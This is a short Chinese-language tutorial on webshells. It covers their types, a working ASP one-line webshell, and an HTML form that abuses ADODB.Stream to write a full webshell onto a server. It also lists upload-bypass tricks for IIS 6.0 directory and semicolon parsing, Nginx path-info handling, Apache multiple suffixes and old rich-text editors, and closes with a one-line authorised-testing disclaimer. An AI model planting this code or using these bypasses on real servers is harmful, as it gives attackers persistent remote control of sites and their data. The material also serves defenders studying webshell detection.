Webshell 是用腳本語言編寫的網頁管理工具,提供對 Web 服務器的操作權限。按腳本分類:PHP、ASP、ASP.NET、JSP、Python 等;按功能分:大馬(功能全、體積大)與小馬(一句話木馬、體積小、需客戶端配合)。
<%eval request("pass")%>
將 `request("pass")` 獲取的字符串作為代碼執行。
<form action="https://host/TEXT.asp" method="post">
<textarea name="value" cols="120" rows="10">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2
lP.Close
set lP=nothing
response.redirect "newmm.asp"
</textarea>
<textarea name="newvalue" cols="120" rows="10">(木馬代碼)</textarea>
<input type="submit" value="提交">
</form>
通過表單提交,利用 ADODB.Stream 以文本方式寫入新文件,實現大馬上傳。PHP 一句話原理相同,僅語法不同。
直接上傳大馬訪問即可操作。若上傳限制導致大馬無法上傳,可先上傳小馬,再通過小馬上傳大馬。
建立 `xx.asp` 目錄,上傳 `shell.jpg` 至該目錄,IIS 會將其作為 ASP 解析執行。
文件名 `shell.asp;.jpg`,IIS 6.0 默認按分號前擴展名解析。
請求 `test.jpg/.php` 時,若 `cgi.fix_pathinfo=1`,Nginx 會將其傳給 PHP-FPM 解析為 PHP。
Apache 識別多後綴:`shell.php.jpg` 若配置 `AddHandler php5-script .php` 會按 `.php` 解析。
FCKeditor、eWebEditor、KindEditor 等歷史版本存在上傳驗證繞過,可直接上傳腳本文件。
Webshell 攻防是持續博弈。理解實現原理與隱藏手法,有助於構建更有效的檢測與防禦體系。所有技術僅供授權安全測試與防禦研究使用。